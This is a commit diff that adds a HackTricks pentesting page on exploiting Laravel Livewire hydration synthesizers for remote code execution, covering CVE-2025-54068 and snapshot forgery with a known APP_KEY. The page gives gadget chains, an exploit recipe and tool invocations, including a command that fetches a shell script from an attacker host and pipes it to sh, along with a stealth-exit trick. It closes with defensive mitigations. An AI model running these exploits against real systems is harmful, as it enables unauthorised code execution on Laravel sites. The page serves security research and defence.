Skip to content

Commit 4488a17

Browse files
authored
Merge pull request #1710 from HackTricks-wiki/update_Livewire__Remote_Command_Execution_via_Unmarshalin_20251223_183838
Livewire Remote Command Execution via Unmarshaling (Hydratio...
2 parents 449e59f + e0c66a8 commit 4488a17

File tree

3 files changed

+152
-0
lines changed

3 files changed

+152
-0
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -648,6 +648,7 @@
648648
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
649649
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
650650
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
651+
- [Livewire Hydration Synthesizer Abuse](pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md)
651652
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
652653
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
653654
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)

src/pentesting-web/deserialization/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,14 @@ You could abuse the PHP autoload functionality to load arbitrary php files and m
103103
php-deserialization-+-autoload-classes.md
104104
{{#endref}}
105105
106+
### Laravel Livewire Hydration Chains
107+
108+
Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without `APP_KEY`) to reach Laravel Queueable/SerializableClosure sinks:
109+
110+
{{#ref}}
111+
livewire-hydration-synthesizer-abuse.md
112+
{{#endref}}
113+
106114
### Serializing Referenced Values
107115
108116
If for some reason you want to serialize a value as a **reference to another value serialized** you can:
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
# Laravel Livewire Hydration & Synthesizer Abuse
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Recap of the Livewire state machine
6+
7+
Livewire 3 components exchange their state through **snapshots** that contain `data`, `memo`, and a checksum. Every POST to `/livewire/update` rehydrates the JSON snapshot server-side and executes the queued `calls`/`updates`.
8+
9+
```php
10+
class Checksum {
11+
static function verify($snapshot) {
12+
$checksum = $snapshot['checksum'];
13+
unset($snapshot['checksum']);
14+
if ($checksum !== self::generate($snapshot)) {
15+
throw new CorruptComponentPayloadException;
16+
}
17+
}
18+
19+
static function generate($snapshot) {
20+
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
21+
}
22+
}
23+
```
24+
25+
Anyone holding `APP_KEY` (used to derive `$hashKey`) can therefore forge arbitrary snapshots by recomputing the HMAC.
26+
27+
Complex properties are encoded as **synthetic tuples** detected by `Livewire\Drawer\BaseUtils::isSyntheticTuple()`; each tuple is `[value, {"s":"<key>", ...meta}]`. The hydration core simply delegates every tuple to the synth selected in `HandleComponents::$propertySynthesizers` and recurses over children:
28+
29+
```php
30+
protected function hydrate($valueOrTuple, $context, $path)
31+
{
32+
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
33+
[$value, $meta] = $tuple;
34+
$synth = $this->propertySynth($meta['s'], $context, $path);
35+
return $synth->hydrate($value, $meta, fn ($name, $child)
36+
=> $this->hydrate($child, $context, "{$path}.{$name}"));
37+
}
38+
```
39+
40+
This recursive design makes Livewire a **generic object-instantiation engine** once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
41+
42+
## Synthesizers that grant gadget primitives
43+
44+
| Synthesizer | Attacker-controlled behaviour |
45+
|-------------|--------------------------------|
46+
| **CollectionSynth (`clctn`)** | Instantiates `new $meta['class']($value)` after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
47+
| **FormObjectSynth (`form`)** | Calls `new $meta['class']($component, $path)`, then assigns every public property from attacker-controlled children via `$hydrateChild`. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
48+
| **ModelSynth (`mdl`)** | When `key` is absent from meta it executes `return new $class;` allowing zero-argument instantiation of any class under attacker control.
49+
50+
Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
51+
52+
## Forging snapshots when `APP_KEY` is known
53+
54+
1. Capture a legitimate `/livewire/update` request and decode `components[0].snapshot`.
55+
2. Inject nested tuples that point to gadget classes and recompute `checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)`.
56+
3. Re-encode the snapshot, keep `_token`/`memo` untouched, and replay the request.
57+
58+
A minimal proof of execution uses **Guzzle's `FnStream`** and **Flysystem's `ShardedPrefixPublicUrlGenerator`**. One tuple instantiates `FnStream` with constructor data `{ "__toString": "phpinfo" }`, the next instantiates `ShardedPrefixPublicUrlGenerator` with `[FnStreamInstance]` as `$prefixes`. When Flysystem casts each prefix to `string`, PHP invokes the attacker-provided `__toString` callable, calling any function without arguments.
59+
60+
### From function calls to full RCE
61+
62+
Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Laravel/RCE4` chain so that hydration boots an object whose public Queueable state triggers deserialization:
63+
64+
1. **Queueable trait** – any object using `Illuminate\Bus\Queueable` exposes public `$chained` and executes `unserialize(array_shift($this->chained))` in `dispatchNextJobInChain()`.
65+
2. **BroadcastEvent wrapper**`Illuminate\Broadcasting\BroadcastEvent` (ShouldQueue) is instantiated via `CollectionSynth` / `FormObjectSynth` with public `$chained` populated.
66+
3. **phpggc Laravel/RCE4Adapted** – the serialized blob stored in `$chained[0]` builds `PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed`. `Signed::__invoke()` finally calls `call_user_func_array($closure, $args)` enabling `system($cmd)`.
67+
4. **Stealth termination** – by handing a second `FnStream` callable such as `[new Laravel\Prompts\Terminal(), 'exit']`, the request ends with `exit()` instead of a noisy exception, keeping the HTTP response clean.
68+
69+
### Automating snapshot forgery
70+
71+
`synacktiv/laravel-crypto-killer` now ships a `livewire` mode that stitches everything:
72+
73+
```bash
74+
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
75+
-j request.json --function system -p "bash -c 'id'"
76+
```
77+
78+
The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload.
79+
80+
## CVE-2025-54068 – RCE without `APP_KEY`
81+
82+
`updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value:
83+
84+
```php
85+
protected function hydrateForUpdate($raw, $path, $value, $context)
86+
{
87+
$meta = $this->getMetaForPath($raw, $path);
88+
if ($meta) {
89+
return $this->hydrate([$value, $meta], $context, $path);
90+
}
91+
}
92+
```
93+
94+
Exploit recipe:
95+
96+
1. Find a Livewire component with an untyped public property (e.g., `public $count;`).
97+
2. Send an update that sets that property to `[]`. The next snapshot now stores it as `[[], {"s": "arr"}]`.
98+
3. Craft another `updates` payload where that property contains a deeply nested array embedding tuples such as `[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]`.
99+
4. During recursion, `hydrate()` evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
100+
5. Reuse the same `CollectionSynth`/`FormObjectSynth` primitives to instantiate a Queueable gadget whose `$chained[0]` contains the phpggc payload. Livewire processes the forged updates, invokes `dispatchNextJobInChain()`, and reaches `system(<cmd>)` without knowing `APP_KEY`.
101+
102+
Key reasons this works:
103+
104+
- `updates` are not covered by the snapshot checksum.
105+
- `getMetaForPath()` trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
106+
- Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.
107+
108+
## Livepyre – end-to-end exploitation
109+
110+
[Livepyre](https://github.com/synacktiv/Livepyre) automates both the APP_KEY-less CVE and the signed-snapshot path:
111+
112+
- Fingerprints the deployed Livewire version by parsing `<script src="/livewire/livewire.js?id=HASH">` and mapping the hash to vulnerable releases.
113+
- Collects baseline snapshots by replaying benign actions and extracting `components[].snapshot`.
114+
- Generates either an `updates`-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.
115+
116+
Typical usage:
117+
118+
```bash
119+
# CVE-2025-54068, unauthenticated
120+
python3 Livepyre.py -u https://target/livewire/component -f system -p id
121+
122+
# Signed snapshot exploit with known APP_KEY
123+
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
124+
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
125+
```
126+
127+
`-c/--check` runs a non-destructive probe, `-F` skips version gating, `-H` and `-P` add custom headers or proxies, and `--function/--param` customise the php function invoked by the gadget chain.
128+
129+
## Defensive considerations
130+
131+
- Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
132+
- Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples.
133+
- Register only the synthesizers you truly need and treat user-controlled metadata (`$meta['class']`) as untrusted.
134+
- Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples.
135+
- Rotate `APP_KEY` promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.
136+
137+
## References
138+
139+
- [Synacktiv – Livewire: Remote Command Execution via Unmarshaling](https://www.synacktiv.com/publications/livewire-execution-de-commandes-a-distance-via-unmarshaling.html)
140+
- [synacktiv/laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
141+
- [synacktiv/Livepyre](https://github.com/synacktiv/Livepyre)
142+
143+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)